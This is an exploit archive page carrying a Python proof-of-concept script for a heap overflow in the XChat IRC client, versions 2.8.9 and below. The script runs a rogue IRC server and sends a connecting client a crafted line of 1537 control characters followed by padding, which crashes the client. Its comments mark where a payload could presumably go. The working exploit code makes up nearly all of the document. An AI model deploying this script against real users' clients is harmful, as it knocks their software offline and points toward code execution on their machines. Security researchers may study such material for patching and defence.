exploit the possibilities

XChat 2.8.9 Heap Overflow

XChat 2.8.9 Heap Overflow
Posted Nov 25, 2011
Authored by th3p4tri0t

XChat heap overflow exploit that triggers a denial of service condition. Versions 2.8.9 and below are affected.

tags | exploit, denial of service, overflow
MD5 | 95d34bd747c2964020b46d0b67536448

XChat 2.8.9 Heap Overflow

Change Mirror Download
#!/usr/bin/python

# Exploit Title: XChat Heap Overflow DoS Proof of Concept
# Date: June 2011
# Author: th3p4tri0t
# Software Link: http://xchat.org/
# Version: <= 2.8.9

# This only works on XChat on KDE, I'm not sure about windows.
# It has been tested on Ubuntu (failed), Kubuntu, and Bactrack 5
# It is a heap overflow and is some sort of error with X Windows
# It uses 1537 (this is the minimum) of the ascii value 20
# after this, an unknown number of any other character (did not check for special
# characters) is required to trigger a crash, presumably the payload will go here.

# th3p4tri0t

import socket

print "XChat PoC Exploit by th3p4tri0t\n"

print "Creating server..."
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print " [*] Binding to socket..."
sock.bind(('127.0.0.1', 6667))

print " [*] Listening on socket..."
sock.listen(5)

print " [*] Accepting connection..."
(target, address) = sock.accept()

print " [*] Sending payload..."
buffer = "hybrid7.debian.local "
buffer += chr(20) * 1537 # minimum required of this character
buffer += "A"*4000 # anything can go here and it still works.
buffer += " :*\r\n"

target.send(buffer)

target.close
sock.close

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